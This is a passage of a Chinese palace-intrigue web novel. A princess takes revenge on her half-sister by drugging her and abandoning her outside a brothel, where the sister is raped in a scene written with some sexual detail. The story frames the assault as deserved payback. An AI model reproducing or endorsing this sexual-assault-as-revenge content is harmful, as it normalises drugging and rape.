“本宫要是受到惊吓了,这手可是会抖的,等一下这手一抖,你的血就会一下子飙出来,弄脏了这马车可怎么办?” 沈安锦瞬间噤声,恐惧让她浑身颤抖,只能瞪大眼睛看着沈安若。 一股难闻的味道传来,沈安若嫌弃的捂住鼻子。 “你怎么这么没出息呢?” “居然失禁了,你可是侯府的世子夫人,这般也实在是太丢脸。” “罢了,你等一下可能还会有更丢脸的。” 王司记用手帕捂住了自己的鼻子,嫌弃的看了一眼沈安锦。 又打量了一眼沈安若。 这公主不简单,一直都是一副笑意盈盈的样子,可是手段却半点都不温和,难怪皇上会同意她去和亲。 沈安锦只感觉自己此刻恨不得找一个地缝钻进去,尽量的低头,难堪的眼泪都掉了出来,忽然浑身燃起了一股燥热,沈安锦一脸惊恐的看着沈安若。 “你刚刚到底给我吃了什么?沈安若,你疯了吗?” 沈安若闻言抬手一巴掌打在她的脸上。 “世子夫人,你应该称呼本宫一声公主殿下。” “这才几日没见,你怎么又把规矩忘了呢?” 身上越来越热,沈安锦慌乱的跪下。 “对不起,公主殿下,臣妇知错了,求公主殿下饶了臣妇这一次,求求你了公主殿下。” 沈安若见状饶有兴趣的看着她。 “呀,你也会有知道错的时候啊,还真是难得呢。” “可惜了,太晚了。” 因为被捆了双手双脚,沈安锦只能艰难的朝沈安若磕头。 “我真的知道错了,公主殿下,求你了,看在我们以往姐妹情分上,你饶了我这一次好不好?我对天发誓,我再也不会出现在你的面前,我再也不会跟你作对了。” 沈安若一脸笑意的看着她求饶。 “你还是不要再求本宫,本宫觉得你可以留着一点力气,等一下可有你求饶的时候…………” 此时传来了剑兰的声音。 “主子,快到了。” 沈安锦此时只感觉体内的热浪一波接一波,整个人脸色已经潮红了起来,求饶的声音都变得软绵绵的起来。 “公主,求求你………求求你送我回侯府………” “只要你送我回去,我以后愿意给公主当牛做马。” 沈安若笑着用匕首割断她身上的绳子。 “怎么能够送你回侯府呢?要是送你回侯府的话,本宫岂不是白忙活了一场?” 沈安锦软绵绵的躺在了马车里,她失禁的水渍打湿了她身上的衣裙,可是她已经来不及想这么多了,忍不住伸手拉扯着自己的衣襟。 “求求你………送我去找世子…………” 沈安若闻言却开口道。 “你是不是忘记了,你这样的情况?找世子是没有用的,毕竟你的夫君已经不行了!” “本宫心善,会让你有机会找到男人的。” 随着外面再次传来了剑兰的声音。 “主子,到了。” 沈安若打开了马车的后门,看了一眼青楼的位置。 “同样的地方,同样的药,沈安锦,这是礼尚往来,你可要好好的记住这一份礼物。” 说完扯下沈安锦的外衫,将她一下子扔了下去。 青楼门口的众人只见一个女子衣衫不整的从马车上滚了下来,还有一件外衫也掉落在地上。 马车扬长而去。 一瞬间,周围顿时引起了一阵骚动。 “是谁呀?” “不知道啊,你看这衣衫不整的样子,啧啧啧…………” “看着好烧…………” 沈安锦此刻神智已有些模糊,只觉体内热浪翻涌,理智被欲望彻底吞噬,她无助地抓着身旁人的衣袖,嘴里呢喃着。 “救我……救我……………” 看着她脸潮红的扯着自己的衣服,露出一大片洁白的肌肤,一个男子大笑着搂过她。 “这么不是青楼新的一种接客方式,真的是烧到了大爷我的心里。” 一边说着一边将人打横抱起往青楼里走去。 原本在门口接客的几个姑娘面面相觑。 “这是哪一个姐妹?” “为了拉客这么拼的吗?” 另外一个姑娘翻了一个白眼酸悠悠的开口。 “烧成这样谁顶得住啊,我是抢不过。” 远处的人群里,商玄澈手拿一把折扇,看着青楼的方向,显然跟踪了沈安若一路。 苍术在一旁开口道。 “殿下,这凰仪公主看着蓄意无害,手段却有些狠辣了。” 商玄澈听了冷冷的看了苍术一眼。 “她若是没有一点手段,又怎么站在孤的身边?” “记住了,她是太子妃,往后你可要明白什么话该说什么话不该说。” 也是,殿下在天元虽然身份贵为太子,可是处境却不太好,皇上更喜欢二皇子殿下,就连这次来南诏接亲,也是为了让殿下离开天元,给二皇子成长的时间。 “殿下说的是,是属下失言了。” “等回到天元以后属下就去领罚。” 第三十九章 陆今也 商玄澈的目光依旧落在青楼的方向,沈安若的手段确实出乎他的意料,但不知为何,他心中并无半点不悦,反而生出一丝欣赏。 沈家远处的巷子里。 沈安若顺利的换了马车。 “剑兰,将这马车处理了。” “玉儿,去南诏花香记。” “去给姐姐买她最喜欢的鲜花饼。” 玉儿闻言,眼中闪过一丝笑意,应声道。 “是,公主对大小姐可真好。” 沈安若笑着拿出一把瓜子嗑着。 “本宫就这么一位姐姐,肯定是要好好宠着的。” 花香记是南诏中颇有名气的糕点铺,以其独特的鲜花饼闻名遐迩。 沈安若记得,幼时与沈安昕一同出游,沈安昕曾对这里的鲜花饼赞不绝口,只是后来,长姐身子越来越不好,还要护着自己,加上柳姨娘当面一套背面一套,姐妹二人能够活下来已经是不易,还谈什么吃糕点? 等到了花香记,玉儿很快下马车去买了一盒鲜花饼,轻轻掀开帘子,将鲜花饼递到沈安若面前。 “公主,鲜花饼买回来了,还是热的。” 沈安若接过,轻轻扳开,嗅了嗅那扑鼻而来的花香,心中涌起一股暖流。 拿起一块,轻轻咬了一口,细腻的口感与花香交织,仿佛在味蕾上绽放出一朵朵春日的花朵。 果然,姐姐喜欢的东西不会差。 “快走,刚好回去,让长姐好好的尝一尝这热乎的鲜花饼。” 玉儿听了笑着开口。 “那可要让翡儿把马车赶快一些。” 翡儿一边赶马车一边开。 “公主你就放心吧,奴婢保证等到了沈家这鲜花饼都还是热的。” 马车一路朝沈家驶去。 忽然。 马车猛然停了下来,因为惯性身子忍不住,一下子向前撞去,沈安若急忙护着怀里的盒子。 “这是发生了什么?” “玉儿…………” 真的是吓死个人了,怎么在古代马车也还会急刹车? 王司记急忙抓住马车壁杆,另外一只手扶着沈安若,关切的开口。 “公主没事吧?” 很快玉儿的声音传来。 “公主,前面有人闹事,马车绕不开。” 沈安若闻言将手中的盒子放在马车里的桌子上,抬手掀开车帘子。 只见一个男子被几人拳打脚踢,男子整个人蜷缩在一起,双手并不是护着自己的头,而是护着怀中的什么东西,沈安若仔细的看了看,看着好像是油纸包裹着什,大概是药物。 看着打人的几个男子,其中一个身上都穿着华服,看样子不像是普通人家的公子,另外几个一身小厮服饰模样。 而被打的男子一身衣服看着就很旧,难不成这南都都出现了纨绔子弟欺负老百姓了。 自己可是凰仪公主啊,这不能忍,沈安若缓缓走下马车。 “住手。” 那几名华服男子闻声停下动作,转头看向沈安若,眼中带着几分不屑与惊讶。 领头的男子嘴角勾起一抹玩味的笑。 “哟,这是哪家的娘子,长得倒是标志,也敢来管我们的闲事?” 王司记上前厉声开口。 “放肆!这乃是凰仪公主,在皇家公主面前言辞轻浮,你有几个脑袋?” 领头男子脸色一变,显然没想到眼前的女子竟是南诏的凰仪公主,连忙带着手下跪倒在地。 “参见凰仪公主,在下乃是中武将家的嫡子陆今瑞,不知凰仪公主驾到,冲撞了公主殿下,还请公主殿下恕罪。” 沈安若目光冷冽地扫过他们,中武将? 最终落在那个蜷缩在地上的男子身上,男子见公主注意到自己,颤抖着身体,努力将怀中的油纸包护得更紧些。 “你,抬起头来。”沈安若命令道。 男子战战兢兢地抬起头,脸上满是青紫,眼中却闪烁着不屈的光芒。 沈安若心中微动。 “他们为什么打你?” 还不等地上的男子说话,陆今瑞先开口了。 “回禀公主殿下,此人乃是家中庶子,因为偷盗家中银子,在下只是出手小小教训一番,以示惩戒。” 地上的男子急忙开口。 “我没有偷银子,这是我拿我玉佩的换的,陆今瑞,你少在这里颠倒黑白,我的母亲才是父亲的原配,你们母子不过就是鸠占鹊巢,这些年我与母亲一再忍让,如今,我母亲病在床上,你们却扣着银子不让抓药,就不怕遭报应吗?” 我去,这是宠妻灭妾的戏码啊,沈安若险些又拿出一把瓜子,想了想感觉有些不合时宜,又将瓜子塞了回去。 陆今瑞见状原本跪下的身子起身,抬脚就踹在了男子的身上。 “陆今也,你是活的不耐烦了是吧?” “公主殿下的面前也敢胡言乱语。” “你母亲自己没本事留住父亲,你还敢在我的面前放肆。” 好猖狂的小三孩子,沈安若朝王司记使了一个眼神。 王司记上前一巴掌打在了陆今瑞的脸上。 “放肆 ,公主没让你起身你也敢起来。” 这是第一次有人敢打自己,而且还是在大街上,陆今瑞不甘心的摸着脸。 “你………” 王司记身上的气势一显。 “还不跪下?” 陆今瑞闻言之后咬着牙再次跪下。 “公主殿下,您金尊玉贵,不要被这个庶子欺骗了。” 沈安若一步步走到了陆今也的身前,朝他伸出来。 “来,起来。” “站起来。” 陆今也只感觉一个仙女般的女子,似乎混身散发着光芒的靠近了自己,看了看女子,看了看自己沾满了灰尘的手,眼里面都带着犹豫,自己好脏,玷污了仙女怎么办? 沈安若似乎是明白他的犹豫,朝他点了点头。 “地上的灰尘不脏,脏的是人心,来,起来。” 陆今也将手放在沈安若的手里借力起身,却朝着沈安若跪下。 “你真的是公主?” 沈安若点了点头。 蹲下身子与他平视。 “包真的。” “皇上亲封的凰仪公主。” 原来她就是凰仪公主,陆今也眼里燃起一抹希望。 “既然你是公主,我能不能求求你救救我母亲?” “她病得很严重,府里也不让请大夫,我………我典当了身上唯一值钱的玉佩,才买到一些药,可是也不知道是否管用。” 沈安若看着他缓缓开口。 “你刚刚说你的母亲才是中武将的原配。” 家丑不可外扬,可是今日若不说,就错过了救母亲的机会,终于遇见贵人,只能赌一把了,陆今也咬了咬牙开口道。 “是,我母亲才是父亲明媒正娶的,后来父亲当上了中武将,就娶了………” 一旁的陆今瑞厉声开口打断陆今也的话。 “陆今也,当街抹黑父亲,你真的是不想你母亲活了…………” 这是当着自己的面威胁人啊,沈安若这角勾起一抹笑意。 “王司记,本宫刚刚没有让人说话。” 王司记一瞬间就明白了沈安若的意思,上前一巴掌打在陆今瑞脸上,这下倒是两边的巴掌印都平衡了。 “放肆,公主没有让你说话,你就好好的闭嘴,若是下次再打断公主问话,就不是一巴掌这么简单了。” 沈安若拿出一锭银子。 “这个给你,就算本宫借你的。” “另外本宫让张太医去给你母亲看病,这治病的诊金你也要还给本宫,等你母亲病好了,你来沈家给本公主办差抵消工钱可好?” 陆今也闻言急忙感激的磕头。 “多谢公主的救命之恩,公主放心,我一定会好好的给公主当差,无论什么活我都愿意干。” 青楼里。 沈安锦终于解了药,意识也清醒了过来,当看到了趴在自己身上年过半百的胖子,发出了一声尖锐的叫声。 “啊……………” 第四十章 我不答应 男子笑着动着身子。 “哟,小娘子,现在清醒过来了,刚刚你那股烧劲可是一直拉着我………要…………不停呢。” 沈安锦拼命的推开男子。 “你滚开,你知道我是谁吗?” 男子将她的双手按在了床上,依旧发泄着。 “这不是你们青楼新的揽客方式吗?” “玩的倒是挺新颖。” 在马车上发生的一切在脑海里面闪过,沈安锦绝望的流着眼泪,毁了,彻底毁了啊,自己现在这副样子,怎么还是高高在上的侯府世子夫人? 男子嘲笑着开口。 “忘记你是怎么样在大街上发烧拉着我的了吗?” “这一会儿装什么贞洁烈女?” “更何况这地方也没有贞洁烈女。” 沈安锦想挣扎可是浑身没有一点的力气,直到男子发泄完毕。 沈安锦才抓起被子挡住自己,整个人蜷缩在床角。 男子看着她的模样开口。 “你这也不是第一次接客?” “装什么清高?” “说吧,叫什么名字?下次大爷来了还让你伺候。” 沈安锦抬头看着男子,眼里都是杀意。 “你知不知道我是…………” 话到嘴边,沈安锦一下子反应了过来,不能说,自己现在已经毁了清白,既然被错认为青楼的姑娘,自己只能将错就错,也比身份被爆出去了好。 “滚,滚出去。” 男子嗤笑一声,慢条斯理地整理好衣物,临走前还不忘从床头扔下一锭银子。 “小娘子,伺候得不错,这是赏你的。” 沈安锦紧咬着下唇,直到男子离开房间,她一下子崩溃大哭。 哭了好一会,沈安锦收拾好情绪,这是在这青楼之中,若被人知晓她的真实身份,不仅她自己无颜面对世人,整个侯府也会因她蒙羞。 自己得赶紧想办法离开,上一次算计沈安若的时候,自己来过一次青楼,好歹还知道路,自己现在这副样子,侯府肯定是不能回去了,只能先回到沈家,找母亲商量办法。 陆家。 张太医正在给躺在床上的妇人把脉,一边把脉一边微微摇头。 陆今也见状心里有了一股不好的预感,语气急切的开口。 “太医,我的母亲怎么样了?” “还有没有…………” 说着眼眶已经红了起来。 张太医又给妇人的另外一只手把脉,最终一脸遗憾的开口。 “唉,陆公子,你母亲已经病入膏肓了,只怕是药石无医啊。” 陆今也闻言,如遭雷击,整个人呆立在原地,双眼空洞地望着张太医,似乎不敢相信自己的耳朵。 他颤抖着声音,再次确认道。 “太医,您……您再仔细看看,我母亲她……她不可能……” 张太医叹了口气。 “若是在早两日,或许还有救,我现在可以给你母亲施针,让她与你说一会话。” 陆今也整个人一下子跪在床边,眼里都是悔恨。 “是我没用,若是我能早些请来大夫,也不至于让母亲…………” 看着他痛哭的模样,张太医也有一些于心不忍, 可是这是陆大人的家事,也轮不到自己说一些什么,只好抬手跟夫人施针。 陆夫人缓缓睁开眼睛,看到跪在床边的陆今也,眼中闪过一丝温柔与不舍。 她虚弱地抬起手,轻抚着陆今也的头,声音细若游丝。 “今也,别哭。” 陆今也泪如雨下,紧紧握住母亲的手,哽咽道。 “母亲,是孩儿不孝,是孩儿不孝啊。” 陆夫人看着他满眼的牵挂。 “今也不哭,不是你不孝,是母亲看错人了,害了自己,也连累了你。” 随即看到了一旁的张太医。 “今也,这位是?” 陆今也急忙开口。 “母亲,这是当太医,我今日上街给母亲抓药的时候,遇到了凰仪公主,公主殿下人很好,让张太医来给母亲整治,还给了我银子,说母亲你好了以后,我可以去沈家替她办差抵银子。” 陆夫人好歹也是经商的人,这其中的话语一想就想明白,公主这是变相的帮了今也。 “今也,你别哭,你现在听母亲说。” “母亲自己的身子,心里有数,不要再管母亲了,也不要记恨你的父亲,既然公主愿意让你给她办差,那你就要好好的记住公主的恩情,这辈子好好的忠心公主,留在公主的身边为公主做事 。” 张太医在一旁听着,看了看陆夫人。 这陆夫人是一个聪明人。 似乎是感觉到了自己生命的流逝,陆夫人说话的声音弱了下来。 “今也,答应母亲,以后好好的跟在公主的身边。” 陆今也连连点头,泪水不断滑落。 “母亲,孩儿记住了,孩儿会好好的替公主做事,报答公主的恩情。” 陆夫人似乎耗尽了所有的力气,声音越来越微弱。 “还有,母亲走了以后,你不要管母亲的后事如何,直接去到公主的身边,求公主殿下收留你。” “记住母亲的话,永远都不要再回到陆家,陆家就是一个吃人不吐骨头的地方。” 说完,陆夫人的手缓缓滑落,眼神也渐渐失去了光彩。 陆今也哭喊着。 “母亲”,却再也得不到回应。 张太医上前检查,确认陆夫人已经离世,不禁也为之动容。 “陆公子,你要节哀!” 陆今也趴在床边大哭。 “母亲,母亲,母亲,求求你不要丢下儿子,儿子只有母亲啊,母亲………” 听着这一声一声的母亲,张太医背过脸去,不敢再看,这陆大人也不知道造的什么孽。 此时一道声音传来。 “哎呦,陆今也,早就跟你说了,你这伥鬼母亲就算请来了大夫也是白浪费银子。” 母亲才刚刚过世,陆今瑞如此讽刺半点尊重都没有,陆今也想起平日里母子二人所受的委屈,再也忍不住,站起来冲过去一拳打在陆今瑞的脸上。 “陆今瑞,你该死…………” 陆今瑞被打的后退一步,伸手摸着自己的脸。 “你这个该死的野种,居然敢跟我动手。” “来人,给我打死他。” 几个小厮瞬间冲了过来。 陆今也红着眼眶,看着陆今瑞眼里已经有了杀意。 张太医见状感觉自己实在没办法袖手旁观,既然公主殿下让自己来了一趟陆家,看来是有心护着这位陆公子的。 “这位是陆二公子吧,大公子现在是公主殿下的人,奉劝一句,陆二公子若是要对大公子动手,还是要掂量几分。” 陆今瑞闻言抬手制止上前的小厮,看着陆今也一脸的怒意。 “陆今也,你好样的………” 这就是权利,就一个名号,就能够让平日里极尽欺辱自己的陆今瑞忌惮不已。 此时一个身着华丽的妇人带着人走了进来。 看了一眼床上的妇人。 “哎呦,姐姐这是走了。” “来人,将她扔乱葬岗去………” 陆今也厉声呵斥。 “我看谁敢动我的母亲!” 随即看向妇人。 “周姨娘,我的母亲乃是父亲八抬大轿娶进门的原配,你鸠占鹊巢欺辱多年,如今逼死了我母亲,还想对她遗体不敬,我告诉你,我不答应。” 第四十一章 狐假虎威 这小杂种居然会反抗了?还管自己叫姨娘?妇人抬手一巴掌打过去。 “小杂种,你母亲已经被贬为妾室,我才是陆家的夫人…………” 陆今也伸手捏住她的手腕。 “怎么?一句姨娘就让你生气成这样吗?你这位置本来就是抢来的不是吗?” 说着将手一甩,周氏险些摔倒。 周氏见状怒看着屋里的小厮。 “还不上前将这个小杂碎按住………” 几个小厮见状就朝陆今也走过去,陆今天厉声呵斥。 “我看今日谁敢动我,刚刚张太医的话你们是没有听见吗?,我现在是给凰仪公主当差的人,你们敢动我就是打公主的脸面,冒犯了公主,你们一群奴才有几个脑袋够丟的?” 小厮们闻言看着周氏,颤颤抖抖的开口。 “夫人………我们…………” 周氏破口大骂。 “一群没出息的东西,陆家真的是白养你们了。” 中武将陆言此时走了进来,脸上带着不悦。 “这又是在闹什么?” 周氏急忙开口。 “老爷,老爷你要为我做主,姐姐已经去了,我就想着把姐姐的后事处理一下,可是今也这孩子对我的敌意太大了,都对我动上手了,还打了瑞儿。” 陆言听得眉头一皱,看了一眼床上已经没有了半分气息的陆夫人,眼里也没有任何的情绪和温度。 “今也,既然你的母亲已经去了,那就将她的后事处理一番,不要生事,吵吵闹闹的成何体统?” 他的语气里面全是责怪,没有半分的丧妻之痛,陆今也眼里透露着失望,也是,自己还指望什么?但凡还有半分的良心,母亲也不会就这么去了。 “我母亲的后事我自己会处理。” 随即拿出一块腰牌,在陆言眼前一晃。 “这是公主给我的腰牌,公主殿下说了,我有任何需要她帮忙的地方,她都会帮我。” “这里是我母亲的院子,还请你们所有人全部离开,在我回来之前,若是你们敢动我母亲一分一毫。” 目光看着陆言与周氏。 “这些年想来陆大人与周姨娘里的父亲手上都算不得干净,我若是来一个请公主调查两家贪污受贿,相信公主一定会愿意帮我这个忙的。” 自己这个儿子好像变了,陆言沉声开口。 “陆今也,你这是在威胁自己的父亲?母亲的后事陆家自会体面打理,你又何必惊动公主?” 周氏也开口道。 “今也,你这孩子威胁自己的父亲,是忤逆,传出去,你的名声可就毁了!” 陆今也闻言冷笑一声。 “我还有名声这种东西吗?” 张太医看了看陆今也,看来人在大悲之下,的确会快速成长的。 陆今瑞一脸不甘心的开口。 “陆今也,你不要太猖狂了,就算有公主给你撑腰也只是暂时的,你不要忘记了凰仪公主就要和亲去了,到时候她没有在南都,你还能活下去吗?” 陆今也听了看向陆今瑞。 “可是公主她现在就在南都啊,有本事你现在真的杀了我,只要你不怕公主殿下发怒。” 随即再一次晃了晃手中的牌子。 “陆大人,我现在要去见公主殿下,记住了,任何人都别动我的母亲,不然我就跟你们鱼死网破。” 说完就疾步朝外走去,可是一出房间,眼泪就忍不住掉了下来,公主殿下真的会帮自己吗? 张太医见状看了看床上的遗体,叹了一口气。 “陆大人,老夫奉公主之命来给陆夫人诊脉,没想到陆夫人这么快就去了,对于陆家的事情老夫不该谈论,陆大人留老夫喝一杯茶没问题吧?” 沈家。 柳依依看着沈安锦身上的痕迹,还有皱巴巴的衣服,以及她满脸的泪痕,一脸的震惊。 “锦儿,你这是怎么了?” 沈安锦大哭着扑进柳依依的怀里。 “母亲,母亲…………啊……………” 看着她哭成这个样子,柳依依心里也着急了起来。 “锦儿,你这是怎么了?” “你别光顾着哭啊,你跟母亲说一说,是谁给你委屈受了?” “是不是因为宴会上的事情侯府那边为难你了?” 沈安锦抬头满脸的泪痕,眼角的眼泪一颗又一颗的滚落。 “母亲,杀了沈安若,我要杀了沈安若。” 柳依依听得心里一惊。 “锦儿,到底发生了什么?你怎么忽然要杀她?现在可是公主,这要是杀她会惹来大麻烦的!” 沈安锦哭的更加伤心,浑身都散发着恨意。 “母亲,不论她是什么身份,她都必须死,她不死女儿的一辈子就完了。” 柳依依急忙抱着她安抚。 “锦儿,你先不要着急,先给母亲说一说到底发生了什么。” 沈安锦大哭着开口。 “母亲,沈安若那个贱人,她给我喂了药,把我丢在了青楼门口,等我清醒过来的时候我已经失去了清白,那个恶心的男人还…………” 柳依依听得神色铁青。 “什么,沈安若那个贱人,她怎么敢这么对你?” “蛇蝎心肠啊,沈家怎么出了这么一个恶毒的女儿?” 沈安锦眼泪一直就没有停过。 “母亲,我现在该怎么办?我这个样子,要是被世子知道,我…………就没有活路了………” 柳依依心里也慌乱了起来,手都忍不住在颤抖,沉死了片刻,扶着沈安锦的肩膀,看着她的眼睛。 “锦儿,来,看着母亲,你先不要哭,有没有人认出你来?” 沈安锦哭着摇头。 “我不知道,我被扔下车的时候好像有很多人,后来我就被带进了青楼里,等到我醒了过来就…………我拿房间里的丝巾遮了脸,假装楼里的姑娘从狗洞钻出来的,应该没有人知道我的身份。” 柳依依听得一下子松了一口气。 “没有人知道就好,没有人知道就好。” “锦儿,听好了,你从宫里出来以后,母亲忽然生了急病,你就回来侍奉母亲了,母亲会让人传出去昨日就得了急病,你继续在沈家待几天,等到母亲病好了再回去。” 墨香居。 沈安若正在与沈安昕喝茶聊天。 “姐姐,这鲜花饼你果然很喜欢,往后我就让人每日都给你买一盒新鲜的回来。” 沈安昕拿着还温热的鲜花饼,暖意似乎从指尖到了心底。 “你啊,这鲜花饼的确好吃,但是咱们昨日吃了一盒,今日又吃了一盒,这要是真的天天吃,这怕是要腻的。” 沈安若听了笑着开口。 “咱们可以换着口味吃,这鲜花饼的口味多着呢,有玫瑰花的,有郁金香的,还有落日红的,要不说咱们南诏的鲜花可真多啊,各式各样的,这做成了鲜花饼,味道真是好极了。” 沈安昕闻言看着手中的鲜花饼,想到了以后去了天元,只怕是再也吃不到家乡的美食,眼里不免有了一丝失落。 “味道的确是极好的,只怕以后去了天元就…………” 沈安若闻言笑着看向她。 “只要姐姐喜欢,这有何难?” “玉儿,找一找南都擅长做鲜花饼的人,带来见本宫。” 玉儿闻言急忙福身。 “是。” 此时剑梅出现,走了过来,朝沈安若拱手。 “主子!” 目光又看了看沈安昕。 沈安若开口道。 “直接说吧,在我姐姐面前没有什么不可说的。” 剑梅这才开口道。 “主子,沈安锦回到了柳姨娘的院子里了,她从青楼偷偷跑回来的,没有暴露自己的身份。” 沈安若听了拿着鲜花饼,嘴角勾起一抹若有若无的冷笑。 “她倒是聪明了一次,给她解药的人知道是谁吗?” 剑梅拱手道。 “属下暗中一直盯着,找机会打听过了,是城西的一个刘屠夫,时常光顾青楼。” 沈安若听了笑了笑。 “跟他接触一下,等到适合的时机,让他上门认亲。” 第四十二章 求人说价值 翡儿此时快步走来。 “公主,陆公子求见。” 陆今也?沈安若缓缓开口。 “带他进来吧。” 很快陆今也被带了进来,眼睛红肿,一看就是哭了许久,朝沈安若恭敬的跪下。 “陆今也见过公主殿下。” 沈安若见状眉头微皱。 “你这是哭了?” “你母亲的病情不太好吗?” 陆今朝沈安若重重的磕了一个头。 “多谢公主派人替我的母亲看病,是我母亲无福,今日已经去了。” 沈安若听了眼里带着诧异。 “去了?” “张太医的医术挺好的啊!” 陆今也一脸的悲痛。 “是请大夫太晚了,我的母亲已经病入膏肓了。” 沈安若听了看了看他。 “那你这个时候不是应该在处理你母亲的后事吗?怎么会来本宫这?” 陆今也再一次磕头。 “陆今也愿意卖身给殿下,一辈子当牛做马,只求公主能够垂怜,给我母亲一份体面。” 沈安若听得疑惑了起来。 “你这?” 随即就好像明白了过来。 “陆家不愿意给你母亲办理后事?” 陆今也闻言抬头看着沈安若,一行眼泪滑落。 “我父亲后面娶的周氏,说要将我母亲的遗体丟去乱葬岗,我拿出公主给的腰牌,这才吓唬着他们,我……………” 说着朝沈安若又一次磕头。 “求求公主,帮帮我!” 再抬头,眼里的泪珠滚落,一脸的哀求。 “公主,我………我自小跟在母亲身边,算术不错,我也能吃苦,我以后哪怕是跟在公主身边当一个打杂的小厮也心甘情愿!” 这可怜见的,沈安若看着他。 “你说你算术不错?” 陆今也连连点头,声音中带着哽咽。 “是,母亲生前曾教我账目管理,我对数字颇为敏感,一些复杂的账目也能迅速理清。” 懂得求人的时候说出自己的价值,这个陆今也或许以后可以用,自己和亲天元,身边缺的就是忠心之人。 “起来吧。” “此事本宫帮你,不过你以后可能要陪着本宫去天元了。” 陆今也闻言急忙开口。 “以后我陆今也就是公主殿下的人,公主殿下去哪里,我陆今也就去哪里。” 沈安若听了微微点头。 “玉儿,你陪着他处理他母亲的后事,告诉陆家,陆今也本宫罩着了,陆家要是有异议就来沈家找本宫理论,对于陆今也母亲的后事,劳烦陆家辅助陆今也,听从陆今也的吩咐,本宫近日要招待天元太子,不想耽误时间再去一趟陆家。” 有了公主殿下身边的人陪同,陆家就不再有人敢放肆,陆今也见状红着眼睛再次跪下。 “多谢公主…………” 这一次沈安若直接扶住了他。 “别谢了,你既然以后要给本宫办事,本宫护着你那是应该的,你不要动不动就跪,快去处理你母亲的后事吧!” 陆今也点了点头,朝外走去。 玉儿见状也跟了上去。 忽然陆今也回头。 “公主!” “我…………” 犹豫了几分。 “我若是让我母亲和离可以吗?” 沈安若看着他。 “你的意思是想让你父亲写和离书?” 陆今也点了点头。 “陆家没有善待过我的母亲,甚至我母亲就是被他们逼死的,我不想我母亲葬入陆家,我也不想当陆家的人…………” 说着似乎怕沈安若生气,声音也越来越低。 敢替自己母亲和离,到时勇气可嘉。 “玉儿,你去了解一下情况。” 随即看向陆今也。 “若陆家真的亏欠于你的母亲,你想做什么就做什么吧,本宫的人不用受别人委屈。” 陆今也闻言朝沈安若深深鞠一躬。 “多谢公主殿下。” “殿下,陆今也会尽快处理好自己的事情,会让殿下看到我的价值的。” 陆家。 张太医这茶喝了一杯又一杯。 陆言也不好赶人,主要是这张太医可是宫里出名的太医。 而且这喝茶的地方还是陆今也母亲的院子。 “张太医,您的医术是出了名的,肯定有许多事情要忙碌,这家里夫人过世,在下就……………” 张太医闻言放下手中的茶杯开口道。 “陆大人放心,不会耽误你太久的时间,等到陆公子回来以后,在下就告辞了。” 这话听的还有什么不明白的,无非就是要帮陆今也看着他母亲的遗体,陆言看了看张太医再次开口。 “张太医,贱内乃是在下的夫人,她的后事在下肯定会妥善处理的。” 周氏也在一旁开口。 “张太医你就放心吧,姐姐的丧事我们陆家会处理好的,就不让外人操心了。” 自己也是难得管一次闲事,实在是感觉陆家的行为让人看不下去了,可自己也不能直接插手,只希望陆今天赶紧回来,公主要不要管这件事情,最起码知道一个态度,张太医继续喝茶,沉默。 陆言与周氏相视一眼,两人眼里都带着几分的无可奈何,论官职,陆家也跟这张太医差不多,不然也不会只能委婉的赶人。 陆今也与玉儿回来就到了张太医坐在那里喝茶,陆言与周氏在一旁无奈的样子。 张太医看了一眼玉儿。 果然公主插手了。 接下来也没有自己什么事了。 “陆公子,既然你回来了,在下就告辞了。” 还跟玉儿打了一声招呼。 “玉儿姑娘。” 玉儿福身。 “辛苦张太医,张太医慢走。” 这是谁?居然让张太医这么尊重?难不成这是凰仪公主身边的人?陆言看向陆今也。 “今也,这位姑娘是…………” 陆今也正要开口,玉儿上前站直了身子。 “陆公子,我来说吧。” 随即看向陆言与周氏。 “玉儿见过陆大人。” “在下是公主的贴身大丫鬟玉儿,奉公主之命前来辅助陆公子办理他母亲的后事,公主让在下转告陆大人。” “陆公子这个人公主罩了,陆夫人的丧事由陆公子亲自打理,烦请陆家上下按照陆公子的意思办事,若是对陆公子的指令有任何的不满,陆大人可以前往沈家与公主理论。” 自己不过就是一个五品小官,那你有资格跟公主理论的,更何况不就是一场丧仪罢了,非就是多花一些银子,还不至于为此断送自己的前程,陆言急忙开口。 “玉儿姑娘放心,贱内原本就是我的结发之妻,她的丧事自然是要风光办好的,陆家也不会亏待了陆今也的。” 玉儿听了一脸正色的开口。 “看来陆大人也是一个明白人,公主这些日子要招待天元的太子殿下,希望陆家………” 目光看向周氏。 “其她的人不要给陆公子添麻烦,也不要给公主殿下添麻烦。” 第四十三章 挑拨离间 有了玉儿坐镇。 陆家的人也不敢再放肆,陆言立即吩咐全府上下听从陆今也的安排,陆夫人的丧事也开始处理。 驿站。 苍术朝商玄澈拱手。 “殿下,昨日公主还在街上救了一个男子,今日那个人去了沈家,公主身边的丫鬟跟着男子去了陆家,属下打听了一番,陆家在准备办丧事,公主救的人就是陆家大公子陆今也。” 商玄澈闻言挑眉开口。 “她倒是挺善良。” “也该去沈家了,让本宫好好的了解了解这位和亲公主,备马车吧。” 忠勇侯府。 傅承越记得如同热锅上的蚂蚁团团转,锦儿怎么会一夜未归? 在宫里要见她的人到底是谁?这会不会出事了? 侯夫人一脸不悦的走进来。 “安锦还未回来?” 傅承越无奈的点了点头。 侯夫人听得脸色更难看了。 “难不成她在宫里冲撞了贵人?” 傅承越心中一紧,连忙解释道。 “母亲,锦儿一向谨慎,断不会无故冲撞贵人。或许是有什么事情耽搁了。” “能有什么事情比自己的名声还重要?一夜未归,成何体统!”侯夫人怒声道,眼中满是对安锦行为的不满与担忧。 “我已经派了人去打听了,应该很快就有消息了。”傅承越试图安抚母亲的情绪,自己心中也是焦急万分。 正当这时,一名小厮疾步而来。 “夫人,世子,沈家来人了。” 只见柳依依身边的丫鬟进来福身行礼。 “见过侯夫人,见过世子。” “昨日我家夫人忽然得了急症,世子夫人就回去侍疾了,担心世子担忧,特差奴婢来回禀一声。” 傅承越闻言,心中的大石落了地,神色稍缓,连忙问道。 “原来是岳母大人生病了,岳母大人病情如何?” 那丫鬟恭敬答道。 “夫人病情也已稳定,特命奴婢前来告知世子,以免世子挂心。” 侯夫人听了,面色虽仍有些不悦,但好歹知道安锦并无大碍,便道。 “既是如此,你回去告诉你家夫人,让她好好养病,改日我必亲自登门探望。” 丫鬟应声称是,行礼告退。待她离开后,侯夫人转向傅承越,语重心长道。 “承越,安锦是侯府的世子夫人,一举一动都代表着咱们家的颜面。日后你需多提点她,莫要再出现这等一夜未归之事,惹人非议,就算是回去给他的母亲侍疾,也应该差人来回禀一声,而不是让家中的人担忧了一夜。” 傅承越点头应承。 